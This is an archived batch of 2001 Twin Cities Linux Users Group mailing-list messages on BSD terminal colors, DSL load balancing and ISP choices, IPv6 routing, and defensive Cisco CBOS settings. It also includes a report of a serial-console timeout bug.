04:32:12PM -0500, Shane Kinney wrote: > I have a really lame question that I have been looking for the answer to > for a while. Does anyone know if you can turn on the terminal colors > (like linux has) in these two distro's?? If you can, how do you do it? Good question. Easily answered with a quick google search. What you want is gnuls cd /usr/ports/misc/fileutils env FLAVOR=ls make install Nate From shane at shell.schulte.org Tue Aug 7 17:03:57 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:25:45 2005 Subject: [TCLUG] OpenBSD & FreeBSD Help In-Reply-To: <20010807165303.A26088@candle.mn.mediaone.net> Message-ID: Thanks! I'll try this when I get home. On Tue, 7 Aug 2001, Nate Straz wrote: > On Tue, Aug 07, 2001 at 04:32:12PM -0500, Shane Kinney wrote: > > I have a really lame question that I have been looking for the answer to > > for a while. Does anyone know if you can turn on the terminal colors > > (like linux has) in these two distro's?? If you can, how do you do it? > > Good question. Easily answered with a quick google search. > > What you want is gnuls > > cd /usr/ports/misc/fileutils > env FLAVOR=ls make install > > Nate > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From blutgens at sistina.com Tue Aug 7 17:14:47 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:46 2005 Subject: [TCLUG] loki coolness Message-ID: <20010807171447.A2787@minime.sistina.com> I ordered tribes2 and SMAC a little while ago. Save the HTML output of my order from thier online form. Waited. Nothing. Emailed them about it. They said my packaged was returned with a bogus address. I told them to fedex it. Fedex called and said "There is no suite number where do I bring this thing?" I answer. Get package. Loki emails again apologizing, I say it's cool but that I thought it sucked that they charged me shipping twice when it was thier form that hosed up. I emailed them my HTML output (Which I could have hacked granted) they asked what they could do. I said sendme a t-shirt or ten. Then I get this reply today: ##### SNIP >My issue is that not only did it take me almost 3 weeks to get my >software after I'd paid, but then I was told I'd have to pay shipping >again even though I provided all the correct information the first time >around. > >I'd have felt alot better about the whole thing if I'd been at least >offered a t-shirt for the wait. I've been trying to snag a Loki t-shirt Hi Ben, Thought you heard from the last of us, eh? I've been scouring the office for any promotional materials to no avail. We last made the t-shirts over 18 months ago, and don't have any more in stock. What I can offer you is a demo CD, hot off the presses. And a spot on the Heavy Metal 2 beta test team -- testing started yesterday. Let me know, thanks! Kayt #### END SNIP How friggin cool is that? I probably won't like the game but am gonna run it and submit big reports just cause it was a decent thought and totally unprompted by me. Heck all Iasked for was a t-shirt or a poster for my cube or something. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010807/1f79136d/attachment.pgp From dieman+tclug at ringworld.org Tue Aug 7 17:19:58 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:46 2005 Subject: [TCLUG] loki coolness In-Reply-To: <20010807171447.A2787@minime.sistina.com> Message-ID: <20010807171958.H6692@ringworld.org> > fedex it. Fedex called and said "There is no suite number where do I > bring this thing?" I answer. Get package. Do what we do. Have signs at common entrances saying: "Commercial Deliveries for XXXX go to room " It sucks, but it works. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From jethro at freakzilla.com Tue Aug 7 17:22:14 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:25:46 2005 Subject: [TCLUG] loki coolness In-Reply-To: <20010807171447.A2787@minime.sistina.com> Message-ID: Hi, On Tue, 7 Aug 2001, Ben Lutgens wrote: > I ordered tribes2 and SMAC a little while ago. And the reason you didn't go in on the TCLUG thing is what again? -Yaron -- From blutgens at sistina.com Tue Aug 7 17:44:26 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:46 2005 Subject: [TCLUG] loki coolness In-Reply-To: ; from jethro@freakzilla.com on Tue, Aug 07, 2001 at 05:22:14PM -0500 References: <20010807171447.A2787@minime.sistina.com> Message-ID: <20010807174426.D3620@minime.sistina.com> On Tue, Aug 07, 2001 at 05:22:14PM -0500, Yaron wrote: > >And the reason you didn't go in on the TCLUG thing is what again? > I like to handle my own stuff (read: cash) No offense yaron but I don't know you from the next guy and I've gotten hosed over too many times due to my formerly trusting self. I am following Fox Mulders montra (sp?) "Trust Noone" :-) Plus this way it was delivered right to work, no hassle. And if I had gotten it from the lug deal, I'd not be on the beta testers list now would I. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010807/fb61c5e6/attachment.pgp From mohmann at qwest.net Tue Aug 7 18:25:46 2001 From: mohmann at qwest.net (Marc Ohmann) Date: Mon Jan 17 13:25:46 2005 Subject: [TCLUG] internet-connection load-balancing References: <20010807121832.C6692@ringworld.org> Message-ID: <3B7078FA.50308@qwest.net> I am not really trying to gain speed as much as redundancy. However, along with the redundancy I should be able to serve more requests at a given moment. Why pay for another line to just sit there for redundancy sake... I might as well use it too. It is also meant as a lesson in load balancing for myself -- if I can do it with dsl I should be able to apply what I've learned to any link, dsl just happens to be the cheapest digital link at the moment. As a biproduct, if I can gain downloading speed that would be an added benefit. I remember hearing about shotgunning analog lines years ago for a 126Kbps link. I figure I could "shotgun" these links and get T1 speeds at a fraction of the cost. Granted I will have a wide pipe with high latency. Thanks, Marc Scott Dier wrote: >>Does anyone out there have any experience load balancing internet >>connections (DSL in this case) using Linux? If so, what are the >>implications when the connections are provided by separate ISPs? And >> > >What are you trying to gain, in paticular? > >downloading or serving speed? redundancy? etc... > From moomonk at greentechnologist.org Tue Aug 7 13:57:38 2001 From: moomonk at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:25:46 2005 Subject: [TCLUG] CBOS 2.4.2 online http://www.mn-linux.org/members/tanner/ In-Reply-To: <20010807142508.2570a4d6.blayer@qwest.net> Message-ID: Thanks for the clarification. I'm certainly no CBOS junkie - I didn't even bother to upgrade from 2.3.something until Sunday. So is there any thing my bridged modem *is* vunerable to? If it isn't ever internet addressable I can't see that joe-random rooted box can even touch the thing and it shouldn't matter what CBOS rev I'm at. Or am I totally off base on this? Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speach is simply staggering." On Tue, 7 Aug 2001, Bill Layer wrote: > On Tue, 7 Aug 2001 06:22:16 -0500 (CDT) > "Joshua b. Jore" wrote: > > > Oh so 2.4.1 isn't code red proof? > > No, it is safe.. you are misreading the infomation. All versions of CBOS < > 2.4.1 are vulnerable... 2.4.1 and 2.4.2 are both fixed.. but I found > another 'issue' in 2.4.2, which I will be posting about shortly. > > > > -.bill.layer.- > > -.those who are talking don't know, and those who know aren't talking.- > > -.frogtown.- -.minnesota.- -.u.s.a.- > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From hick0088 at tc.umn.edu Tue Aug 7 19:12:49 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:46 2005 Subject: [TCLUG] internet-connection load-balancing In-Reply-To: <3B7078FA.50308@qwest.net> References: <20010807121832.C6692@ringworld.org> <3B7078FA.50308@qwest.net> Message-ID: <20010807191249.6c1d7e1e.hick0088@tc.umn.edu> "Marc Ohmann" wrote: > > I am not really trying to gain speed as much as redundancy. However, > along with the redundancy I should be able to serve more requests at a > given moment. Why pay for another line to just sit there for redundancy > sake... I might as well use it too. > > It is also meant as a lesson in load balancing for myself -- if I can do > it with dsl I should be able to apply what I've learned to any link, dsl > just happens to be the cheapest digital link at the moment. Well, I'm not exactly sure what can be done here. Let me try to put together an idea or two, and let the people who know more about routing, etc., say whether this'll work or not. My understanding is that the `metric' flag in the routing table is supposed to denote preference when two different routes to the same place exist (in this case, we're worried about the default route -- the whole Internet). It may be possible to set up each host with two IP addresses per interface (actually, one IP on eth0, then another on eth0:0, or whatever), thereby creating two virtual networks on one physical network. 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Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010807/fe3b4036/attachment.pgp From spencer at sihope.com Tue Aug 7 19:05:34 2001 From: spencer at sihope.com (SpencerUnderground) Date: Mon Jan 17 13:25:46 2005 Subject: [TCLUG] OpenBSD & FreeBSD Help In-Reply-To: <20010807165303.A26088@candle.mn.mediaone.net>; from nate@techie.com on Tue, Aug 07, 2001 at 04:53:03PM -0500 References: <20010807165303.A26088@candle.mn.mediaone.net> Message-ID: <20010807190534.A8983@mudpiefoods.com> > Good question. Easily answered with a quick google search. > also try: http://www.google.com/intl/xx-piglatin/ http://www.google.com/intl/xx-hacker/ http://www.google.com/intl/xx-bork/ that is my opinion -- SpencerUnderground ||mailto:spencer@sihope.com|| "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau From blutgens at sistina.com Tue Aug 7 19:29:37 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:46 2005 Subject: [TCLUG] CBOS 2.4.2 online http://www.mn-linux.org/members/tanner/ In-Reply-To: ; from moomonk@greentechnologist.org on Tue, Aug 07, 2001 at 01:57:38PM -0500 References: <20010807142508.2570a4d6.blayer@qwest.net> Message-ID: <20010807192937.A717@minime.sistina.com> On Tue, Aug 07, 2001 at 01:57:38PM -0500, Joshua b. Jore wrote: >Thanks for the clarification. I'm certainly no CBOS junkie - I didn't even >bother to upgrade from 2.3.something until Sunday. So is there any thing heh, I was at 2.0.x something. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010807/ddb19194/attachment.pgp From moomonk at greentechnologist.org Tue Aug 7 14:47:26 2001 From: moomonk at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:25:46 2005 Subject: [TCLUG] CBOS 2.4.2 online http://www.mn-linux.org/members/tanner/ In-Reply-To: <20010807192937.A717@minime.sistina.com> Message-ID: That's just what my replacement modem came with. So is there any reason to even bother upgrading bridged modems if they are always non-addressable? Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speach is simply staggering." On Tue, 7 Aug 2001, Ben Lutgens wrote: > On Tue, Aug 07, 2001 at 01:57:38PM -0500, Joshua b. Jore wrote: > >Thanks for the clarification. I'm certainly no CBOS junkie - I didn't even > >bother to upgrade from 2.3.something until Sunday. So is there any thing > > heh, I was at 2.0.x something. > > -- > Ben Lutgens > Sistina Software Inc. > > What's the difference between root and God ? > God doesn't think that he is root. > From john at mn.mediaone.net Tue Aug 7 20:07:43 2001 From: john at mn.mediaone.net (johndmiller) Date: Mon Jan 17 13:25:46 2005 Subject: [TCLUG] Correcting module loading Message-ID: On boot up, my caldera system loads ne with some defaults which are incorrect. How do I change it so the module will load with the correct modules. I had put a couple of lines in rc.local that would unload it then reload it with the correct io and irq. This doesn't seem to be working plus is ineffecient. Now, a bigger question. I have a computer that I use to work from home with and the company has just set up vpn and made it available to it employees. Now the computer is running win98 and is gatewayed through my linux box. My question is will the setup be a problem. I am thinking that it will based on the question I was asked, "do I have a real ip". My linux does but the windows does not. Any thoughts? John Miller From joel at luths.net Tue Aug 7 20:33:21 2001 From: joel at luths.net (joel@luths.net) Date: Mon Jan 17 13:25:46 2005 Subject: [TCLUG] (no subject) In-Reply-To: <20010806233728.B11909@thor> References: <01080322215000.01069@dedannshae.thuria.org> <03a601c11ef6$9dd8be20$6601a8c0@cargill.com> <20010806233728.B11909@thor> Message-ID: <997234401.3b7096e17c84a@www.luths.net> So yes, I was misreading. Thanks guys. I'll have to give this serious thought, though changing ISPs would be a pain for the web & mail I host. And do I *need* static IP? Prolly not in these wonderful days of dynamic DNS services, but $10 might be worth the comfort. Quoting Spencer J Sinn : > I think you want to look at the residential DSL prices... > For 512k/640k its $50/mo + $10 if you *need* a static IP > > On Mon, Aug 06, 2001 at 11:08:30PM -0500, Joel Luth wrote: > > I'd gladly consider Real-Time, but the prices on their web page for > 512/640 > > w/ fixed IP appear *way* more ($210) than I am currently paying Qwest > (~$45 > > iirc). Am I misreading something here? > > > > > > > > -- > Thanks, > > Spencer J Sinn > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > From hick0088 at tc.umn.edu Tue Aug 7 20:25:34 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:47 2005 Subject: [TCLUG] IPv6 fun Message-ID: <20010807202534.6493face.hick0088@tc.umn.edu> If anyone out there has been watching my IPv6 troubles, the problem seemed to be a missing route. `ip route add 2000::0/3 dev sit1' appears to have fixed my routing troubles. Now I have two systems working with IPv6. Of course, it's only on a tunnel to Canada... Wait.. What's legal in Canada but not here? ;-) -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Don't smoke the next / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ cigarette. Repeat. \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010807/4e508667/attachment.pgp From blayer at qwest.net Tue Aug 7 21:01:37 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:47 2005 Subject: [TCLUG] Beermeeting August 9th In-Reply-To: <015801c11f86$736f7e90$eaaf7a81@doug> References: <015801c11f86$736f7e90$eaaf7a81@doug> Message-ID: <20010807210137.31a85891.blayer@qwest.net> On Tue, 7 Aug 2001 16:18:05 -0500 "Doug Hanson" wrote: > Suggestion: The Green Mill on Hamline and Grand in St. Paul has a fine > selection of Micro Brews... (and it's close to my house :)~) My mom used to take me to the Mill on Grand, back in the early 70's when it was still pretty much a dive bar, and Grand Ave. was one of the seedy parts of St. Paul. I played my first game of pinball there, then my first game of Atari Pong, Tennis, Hockey, Football and finally... ASTEROIDS!!!! Later, they also had a Mr. Do and a Dragon's Lair game. I'll go to the 'original' Green Mill anytime, but: their menu is as lame as it is long... The pizza is great, and they should have just left it at that (IMO). Dating hisself, -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From wilson at visi.com Tue Aug 7 21:10:35 2001 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:25:47 2005 Subject: [TCLUG] (no subject) In-Reply-To: <997234401.3b7096e17c84a@www.luths.net> Message-ID: On Tue, 7 Aug 2001 joel@luths.net wrote: > So yes, I was misreading. Thanks guys. I'll have to give this serious thought, > though changing ISPs would be a pain for the web & mail I host. And do I *need* > static IP? Prolly not in these wonderful days of dynamic DNS services, but $10 > might be worth the comfort. You might also check out Visi's rates. I'm very happy with my service from them. They throw in one static IP for all their DSL customers. Very reliable service and quick responses in case of problems. (I usually get a real person on the line immediately whenever I call. Not that I have had to very often. :-) http://www.visi.com/ -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.org | http://www.zope.com W. St. Paul, MN | | http://slashdot.org wilson@visi.com | | http://linux.com From blayer at qwest.net Tue Aug 7 21:08:58 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:47 2005 Subject: [TCLUG] (no subject) In-Reply-To: <997234401.3b7096e17c84a@www.luths.net> References: <01080322215000.01069@dedannshae.thuria.org> <03a601c11ef6$9dd8be20$6601a8c0@cargill.com> <20010806233728.B11909@thor> <997234401.3b7096e17c84a@www.luths.net> Message-ID: <20010807210858.75497b2a.blayer@qwest.net> On Tue, 07 Aug 2001 20:33:21 -0500 (CDT) joel@luths.net wrote: > So yes, I was misreading. Thanks guys. I'll have to give this serious thought, > though changing ISPs would be a pain for the web & mail I host. And do I *need* > static IP? Prolly not in these wonderful days of dynamic DNS services, but $10 > might be worth the comfort. Heh, and I like the 'comfort' of being able to blow off an IP that some punk kiddie has got on his hitlist. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From joel at luths.net Tue Aug 7 21:20:05 2001 From: joel at luths.net (Joel Luth) Date: Mon Jan 17 13:25:47 2005 Subject: [TCLUG] (no subject) References: <01080322215000.01069@dedannshae.thuria.org><03a601c11ef6$9dd8be20$6601a8c0@cargill.com><20010806233728.B11909@thor><997234401.3b7096e17c84a@www.luths.net> <20010807210858.75497b2a.blayer@qwest.net> Message-ID: <00e701c11fb0$a4857780$6601a8c0@cargill.com> ----- Original Message ----- From: "Bill Layer" To: Sent: Tuesday, August 07, 2001 9:08 PM Subject: Re: [TCLUG] (no subject) > On Tue, 07 Aug 2001 20:33:21 -0500 (CDT) > joel@luths.net wrote: > > > So yes, I was misreading. Thanks guys. I'll have to give this serious > thought, > > though changing ISPs would be a pain for the web & mail I host. And do I > *need* > > static IP? Prolly not in these wonderful days of dynamic DNS services, > but $10 > > might be worth the comfort. > > Heh, and I like the 'comfort' of being able to blow off an IP that some > punk kiddie has got on his hitlist. > > There is that, yes. The price I pay for wanting to run services at home! From blayer at qwest.net Tue Aug 7 21:31:08 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:47 2005 Subject: [TCLUG] CBOS 2.4.2 online http://www.mn-linux.org/members/tanner/ In-Reply-To: References: Message-ID: <20010807213108.5f363731.blayer@qwest.net> On Tue, 7 Aug 2001 09:41:29 -0500 (CDT) "Brian" wrote: > On a side note, I saw a trick posted here about using nat to send port 80 > requests off into the bit bucket. Does that effectively work? I know a > few people who could do that that probably aren't ready to upgrade CBOS on > their own. Two tricks that work: 1) Use NAT to send Port 80 requests to a non-existant machine on the LAN (or in my case, an Apache webserver) cbos# set nat entry add fake.ip.addy.here 80 tcp cbos# write 2) Set the WEB port of the Cisco to something other than 80, like 8080 for instance. cbos# set web port 8080 cbos# write -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From blayer at qwest.net Tue Aug 7 21:32:54 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:47 2005 Subject: [TCLUG] (no subject) In-Reply-To: <00e701c11fb0$a4857780$6601a8c0@cargill.com> References: <01080322215000.01069@dedannshae.thuria.org> <03a601c11ef6$9dd8be20$6601a8c0@cargill.com> <20010806233728.B11909@thor> <997234401.3b7096e17c84a@www.luths.net> <20010807210858.75497b2a.blayer@qwest.net> <00e701c11fb0$a4857780$6601a8c0@cargill.com> Message-ID: <20010807213254.2d37c13d.blayer@qwest.net> On Tue, 7 Aug 2001 21:20:05 -0500 "Joel Luth" wrote: > > Heh, and I like the 'comfort' of being able to blow off an IP that some > > punk kiddie has got on his hitlist. > > > > > There is that, yes. The price I pay for wanting to run services at home! What kind of services can't you run with dynamic DNS? I manage web, shell, ftp, etc.. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From sgunhouse at qwest.net Tue Aug 7 22:03:47 2001 From: sgunhouse at qwest.net (Steven Gunhouse) Date: Mon Jan 17 13:25:47 2005 Subject: [TCLUG] Serial Time out ?? Message-ID: <1ka1ntkrmjo1j8vii0h8md73dlihgt4n3e@4ax.com> >Date: Tue, 7 Aug 2001 14:40:27 -0500 >From: "Bill Layer" >To: tclug-list@mn-linux.org >Subject: [TCLUG] Potential security issue in CBOS 2.4.2 >Reply-To: tclug-list@mn-linux.org > >I have come across what seems to be a security problem in CBOS 2.4.2 >(perhaps 2.4.1 also?), and I would like some verification before I get too >excited about it. The problem relates to the serial port idle timeout, and >may similarly affect the telnet timeout; this I haven't tested. > >Problem: When the serial port session timeout is set to 300 seconds (5 >minutes), which appears to have been the default on my 675 since CBOS >2.0.X, the serial port session NEVER times out. If you count on serial >timeout to re-secure the serial console, you have a secutiry issue. > > >Can a few of you with a 675 -AND- CBOS 2.4.2 please check the following: > >1) That your serial console timeout is set to 300 seconds by default >(cbos# show serial) > >2) That when set for 300 seconds, the serial console never times out (or, >at least doesn't time out in 300 seconds (5 minutes)) > >3) That when set to 100 seconds or less, the serial console times out >correctly. >(cbos# set serial timeout 100) >Date: Tue, 7 Aug 2001 14:51:02 -0400 >From: Dan Drake >To: tclug-list@mn-linux.org >Subject: Re: [TCLUG] Potential security issue in CBOS 2.4.2 >Reply-To: tclug-list@mn-linux.org > >On Tue, Aug 07, 2001 at 02:40:27PM -0500, Bill Layer wrote: >> How I discovered this: I logged onto my 675 serial console today, and was >> not prompted for a password. It was still in 'enable' mode (#) from my >> last session, the one which I began immediately after upgrading from CBOS >> 2.4.1 to CBOS 2.4.2. I never noticed this behavior with any CBOS prior to >> 2.4.2, but that doesn't mean it's not there. > >I used to have a 678 and this seems very familiar. I remember connecting >with minicom and not having to type in passwords. I can't verify that, but >this seems very familiar. My new (Dan's old) Cisco678 when reprogrammed with cap2.4.1 also failed to time out at default limit. Could this be an 8bit register problem limiting the sec=256max? From blayer at qwest.net Tue Aug 7 23:39:58 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:47 2005 Subject: [TCLUG] Serial Time out ?? In-Reply-To: <1ka1ntkrmjo1j8vii0h8md73dlihgt4n3e@4ax.com> References: <1ka1ntkrmjo1j8vii0h8md73dlihgt4n3e@4ax.com> Message-ID: <20010807233958.11b81865.blayer@qwest.net> On Tue, 07 Aug 2001 22:03:47 -0500 "Steven Gunhouse" wrote: > >I used to have a 678 and this seems very familiar. I remember connecting > >with minicom and not having to type in passwords. I can't verify that, but > >this seems very familiar. > > > My new (Dan's old) Cisco678 when reprogrammed with cap2.4.1 also > failed to time out at default limit. Could this be an 8bit register > problem limiting the sec=256max? Dunno, it just seems like a dumb old bug... with a security implication. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From eng at pinenet.com Tue Aug 7 23:52:57 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:25:47 2005 Subject: [TCLUG] Digital Broadcast revisited Message-ID: <20010808.4525700@linwin.mshome.net> You guys are very kind. I thought I was supplementing the Ham (amateur radio) thread. But, yes, digital broadcasting should reach computers. Apparently, as you say, it already has been done. The bandwidth opportunity is there. Another big bandwidth leap is by fiber optic wavelength division multiplexing. If separate thousands of colors can be independently transmitted and received on a single fiber, bandwidth explosion. Maybe few of you know, but the inventor of digital electronics, Otto Schmitt (Schmitt trigger), worked at the U of M for many years. Minnesota was once a leading technology center. Until the politicians took over science. Very sad. Your Linux group is a bright spot. Thanks. Andy Zbikowski (Zibby)" wrote: > > Now that I read it again, you're right. But he's talking brodcast. Not > satlite, but plain old brodcast tv. (Well, Digital TV brodcast now...) > > Well, it is possible. I know there was some show before the advent of > cable modems that included some sort of download in their show's signal. > No idea how it was actually decoded on the user end. Computer Chronicles used to do this. They'd send batches of shareware packages by using about 1/3 of the screen. To humans, it just looks like static. I'm not sure how much stuff got sent. They ran it for about 1-2 minutes, and while it was going, they would say what was getting downloaded. I suspect it ended up in the 30-50 MB range. > Setting the FCC regulations aside, could this really work? First hurdle > is that your brodcast tv signal is one way. It takes some high power > equipment and tall towers to get the signal to you. You would need a > similar setup to get it back for 2 way communication. True, but there is potential here -- certain data is good to broadcast. Weather images and data, for instance. I know that certain HDTV broadcasts are supposed to include extra information, so the frameworks are presumably already there, or are at least fairly well along. Hmm.. Though I wonder what will happen if someone were to serruptitiously include extra stuff in ordinary broadcasts. Send out a whole Linux ISO in ten minutes or less ;-) -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Radioactive halibut is / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ good for fission chips. \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] From joel at luths.net Wed Aug 8 00:10:40 2001 From: joel at luths.net (joel@luths.net) Date: Mon Jan 17 13:25:48 2005 Subject: [TCLUG] (no subject) In-Reply-To: <20010807213254.2d37c13d.blayer@qwest.net> References: <01080322215000.01069@dedannshae.thuria.org> <03a601c11ef6$9dd8be20$6601a8c0@cargill.com> <20010806233728.B11909@thor> <997234401.3b7096e17c84a@www.luths.net> <20010807210858.75497b2a.blayer@qwest.net> <00e701c11fb0$a4857780$6601a8c0@cargill.com> <20010807213254.2d37c13d.blayer@qwest.net> Message-ID: <997247440.3b70c9d0a6059@www.luths.net> Quoting Bill Layer : > On Tue, 7 Aug 2001 21:20:05 -0500 > "Joel Luth" wrote: > > > > Heh, and I like the 'comfort' of being able to blow off an IP that > some > > > punk kiddie has got on his hitlist. > > > > > > > > There is that, yes. The price I pay for wanting to run services at > home! > > What kind of services can't you run with dynamic DNS? I manage web, > shell, > ftp, etc.. > That would all work, as would my mail server. When I first got my static IP dynamic DNS was a little newer, and I wasn't ready to rely on it. Inertia has probably kept me from dynamic DNS more than anything else. From austad at marketwatch.com Wed Aug 8 00:08:30 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:48 2005 Subject: [TCLUG] internet-connection load-balancing Message-ID: <54180709DD3FE145917BB165AFE7EFA00A8456@mspexch2.office.mktw.net> >As a biproduct, if I can gain downloading speed that would be an added >benefit. I remember hearing about shotgunning analog lines years ago >for a 126Kbps link. I figure I could "shotgun" these links and get T1 >speeds at a fraction of the cost. Granted I will have a wide pipe with >high latency. Nope, sorry. It only works with modem lines when you have them to the same ISP, and that ISP must support multilink PPP. You could increase your outgoing with a spiffy packet spoofing kernel module, but if your ISP has their routers set up correctly, they won't pass packets out with a source address that doesn't exist within their address space. Plus, doing that on a packet by packet level will probably just get you really sketchy uploads since packets will arrive way out of order, and if one ISP has much greater latency than the other, the tcp packets will miss their windows and have to be resent. Plus, because of the out of order packet issue, streaming audio or video would be out of the question. You can probably get some redundancy with a round robin dns entry and two webservers (one on each link). But you'll need to work out a way for the dns server to monitor your servers/links from afar and not hand out the ip to the server that is not accessible. You can probably find something on freshmeat.net. Take a look at Eddie also, http://www.eddieware.org. In any case, you will never get t1 speeds when downloading, the max speed will always be the max speed of one of the DSL lines (assuming there is no other traffic on it). You can only multiply your incoming bandwidth like that when both lines go to the same ISP. Trust me on this, I maintain over 535Mbit of connectivity consisting of a bunch of DS3's from multiple providers, and a couple of 100Mbit Ethernet links coming off some equipment connected to OC-192's. If you want more bandwidth, and you're running a commercial site, just break down and get the $420/mo T1 from Onvoy.com (loop fee extra, but was only $200 for me). If you simply want the redundancy, you may be able to get Eddie to work for you. DSL is not a good solution for running important sites off of, I tried it for awhile, and still do run stuff off mine, but it's not that reliable, and you get no SLA unless you pay $400/mo for business class DSL, in which case you're better off just getting the Onvoy T1 deal (note: I don't work for them :). Jay -----Original Message----- From: Marc Ohmann [mailto:mohmann@qwest.net] Sent: Tuesday, August 07, 2001 6:26 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] internet-connection load-balancing I am not really trying to gain speed as much as redundancy. However, along with the redundancy I should be able to serve more requests at a given moment. Why pay for another line to just sit there for redundancy sake... I might as well use it too. It is also meant as a lesson in load balancing for myself -- if I can do it with dsl I should be able to apply what I've learned to any link, dsl just happens to be the cheapest digital link at the moment. As a biproduct, if I can gain downloading speed that would be an added benefit. I remember hearing about shotgunning analog lines years ago for a 126Kbps link. I figure I could "shotgun" these links and get T1 speeds at a fraction of the cost. Granted I will have a wide pipe with high latency. Thanks, Marc Scott Dier wrote: >>Does anyone out there have any experience load balancing internet >>connections (DSL in this case) using Linux? If so, what are the >>implications when the connections are provided by separate ISPs? And >> > >What are you trying to gain, in paticular? > >downloading or serving speed? redundancy? etc... > _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From austad at marketwatch.com Wed Aug 8 00:13:10 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:48 2005 Subject: [TCLUG] internet-connection load-balancing Message-ID: <54180709DD3FE145917BB165AFE7EFA00A8457@mspexch2.office.mktw.net> IP masq doesn't break VPN or IPSec, really. You just need to add some extra stuff to your config if you need those. It all depends on what you're using as a NAT box though. You can do it through a linux firewall with the pptp module and the ipsec module. Cisco pix let's you do it as long as you have a static defined for each host (no PAT for the hosts that need it) and a conduit which permits GRE to them, or for IPSec you need conduits to permit ESP and AH. The Cisco 675 lets you do it with a GRE masquerading command, but you can only do it to one host on the inside. -----Original Message----- From: Mike Hicks [mailto:hick0088@tc.umn.edu] Sent: Tuesday, August 07, 2001 7:13 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] internet-connection load-balancing "Marc Ohmann" wrote: > > I am not really trying to gain speed as much as redundancy. However, > along with the redundancy I should be able to serve more requests at a > given moment. Why pay for another line to just sit there for redundancy > sake... I might as well use it too. > > It is also meant as a lesson in load balancing for myself -- if I can do > it with dsl I should be able to apply what I've learned to any link, dsl > just happens to be the cheapest digital link at the moment. Well, I'm not exactly sure what can be done here. Let me try to put together an idea or two, and let the people who know more about routing, etc., say whether this'll work or not. My understanding is that the `metric' flag in the routing table is supposed to denote preference when two different routes to the same place exist (in this case, we're worried about the default route -- the whole Internet). It may be possible to set up each host with two IP addresses per interface (actually, one IP on eth0, then another on eth0:0, or whatever), thereby creating two virtual networks on one physical network. I'm not even sure if the Linux 